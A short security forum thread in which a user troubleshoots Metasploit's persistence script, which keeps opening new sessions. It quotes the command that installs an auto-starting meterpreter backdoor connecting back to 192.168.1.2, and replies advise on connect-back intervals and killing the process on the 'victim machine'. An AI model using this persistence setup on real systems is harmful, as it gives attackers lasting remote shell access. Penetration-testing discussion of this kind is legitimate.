Results 1 to 4 of 4

Thread: Metasploit persistence error...

  1. #1
    Just burned his ISO
    Join Date
    Apr 2010
    Posts
    10

    Default Metasploit persistence error...

    Hey all!

    I've just come across the metasploit persistence.rb script and thought it might come in handy. So I tested it out on a test machine by setting the script to run as an auto run script as soon as a session is created.
    So I ran the payload on the machine but for some reason it just keeps looping, as in a session is created pretty much every 5 seconds.

    This is both anoying and shouldnt happen.

    Anybody know what I've been doing wrong?

    In case it will help I've been doing this.

    Code:
    set AutoRunScript persistence -X -i 5 -p 7777 -r 192.168.1.2

  2. #2
    Administrator sickness's Avatar
    Join Date
    Jan 2010
    Location
    Behind the screen.
    Posts
    2,921

    Default Re: Metasploit persistence error...

    You can also take a look at this, it might be better: http://www.offensive-security.com/me...preter_Service

    As for your problem I think you actually told it to create a session every 5 seconds.
    Back|track giving machine guns to monkeys since 2007 !

    Do not read the Wiki, most your questions will not be answered there !
    Do not take a look at the: Forum Rules !

  3. #3
    Just burned his ISO
    Join Date
    Apr 2010
    Posts
    10

    Default Re: Metasploit persistence error...

    Quote Originally Posted by sickness View Post
    You can also take a look at this, it might be better: http://www.offensive-security.com/me...preter_Service

    As for your problem I think you actually told it to create a session every 5 seconds.
    I actually followed that guide when playing around with persistence. I realize now that yes, I was telling it to connect back every 5 seconds. (-i 5).

    Is there anyway to tell it "once connected, don't try to keep connecting until session has been disconnected"? I think it would make this script for functional (not to mentionsl usable).

    Thanks in advance!

  4. #4
    Senior Member iproute's Avatar
    Join Date
    Jan 2010
    Location
    Midwest, USA
    Posts
    192

    Default Re: Metasploit persistence error...

    I've created this very same condition. Definitely has to do with the "connect-back" interval. If there is a handler listening, and it recieves the corresponding interval, the handler WILL send a stage, creating another session. Make your intervals longer and/or don't start the handler for the persistent connection until you need it. something like a 300-600 second interval might be better. As I recall the script will also tell you what PID the persistance script is running as on the victim machine, and if need be you can kill the persistance script once you have your session. (use the meterpreter or windows TASKKILL command in a shell)

Similar Threads

  1. Persistence not working
    By jivaro in forum Beginners Forum
    Replies: 0
    Last Post: 10-16-2010, 08:48 PM
  2. BT4 with persistence using linuxliveusb.com
    By blackratdog in forum Beginners Forum
    Replies: 2
    Last Post: 03-02-2010, 05:00 PM
  3. persistence cross over
    By abrupTHavoK in forum OLD BackTrack 4 (pre) Final
    Replies: 0
    Last Post: 08-14-2009, 10:01 PM
  4. cant get persistence to work
    By abrupTHavoK in forum OLD BackTrack 4 General Support
    Replies: 2
    Last Post: 08-09-2009, 02:40 AM
  5. metasploit -msfupdate error - svn : PROFIND request error
    By aisketui in forum OLD BT3beta Software related issues
    Replies: 2
    Last Post: 02-11-2009, 03:23 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •